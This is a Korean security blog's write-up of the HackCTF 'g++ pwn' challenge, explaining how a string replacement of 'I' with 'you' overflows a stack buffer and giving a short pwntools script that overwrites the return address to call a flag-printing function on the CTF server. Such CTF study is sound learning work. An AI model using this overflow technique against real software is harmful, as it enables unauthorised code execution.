일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- __environ
- shellcode
- RTL
- ROP
- master canary
- DFC 2022
- HackCTF
- heap exploit
- GOT overwrite
- seccomp
- vtable
- Dynamic Analysis
- Lazenca
- 나뭇잎 책
- heap
- Reversing
- UAF
- DreamHack
- _IO_FILE Arbitrary Address Write
- BOF
- tcache
- K-shield Junior
- _IO_FILE
- malware
- Android
- _IO_FILE Arbitrary Address Read
- srop
- heap feng shui
- H4CKING GAME
- DFB
Archives
- Today
- Total
Studying Security
[HackCTF] pwnable: g++ pwn 풀이 본문
728x90
반응형
gdb C++ 함수명 깨짐현상 해결
- set print asm-demangle on
Mitigation
Vulnerability Analysis
main함수 내의 vuln함수를 살펴보자
fgets를 가지고 입력 값을 받고 어떤 과정을 거쳐 v0의 값을 s에 복사해 이를 출력하는 함수이다
하지만 fgets에 주어진 size가지고는 BOF를 발생시킬 수 없기 때문에 어떻게 exploit할지 중간과정을 살펴봐야겠다
중간에 replace함수 존재
인자로 input값과 "I"라는 문자열이 전달되기 때문에 이와 관련해 replace가 일어나는게 아닐까 확인해 볼 수 있음
실행해 I값을 전달해보니 I가 you로 replace되는 것을 확인
따라서 이를 이용해 [ebp-0x3c]에 0x20 size내의 input을 주어 BOF를 발생시킬 수 있음
ret영역은 get_flag함수(flag.txt를 출력하는 함수)로 overwrite하는 payload를 작성하자
Exploit code
from pwn import *
p = remote("ctf.j0n9hyun.xyz",3011)
print_flag = 0x08048f0d
# you*20 + dummy + print_flag
payload = "I"*20 + "A"*0x4 + p32(print_flag)
p.sendline(payload)
p.interactive()
Result
반응형
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] pwnable: 1996 풀이 (0) | 2022.04.10 |
---|---|
[HackCTF] pwnable: Poet 풀이 (0) | 2022.04.10 |
[HackCTF] pwnable: RTL_World 풀이 (0) | 2022.04.09 |
[HackCTF] pwnable: Yes or no 풀이 (0) | 2022.04.09 |
[HackCTF] pwnable: BOF_PIE 풀이 (0) | 2022.04.08 |
Comments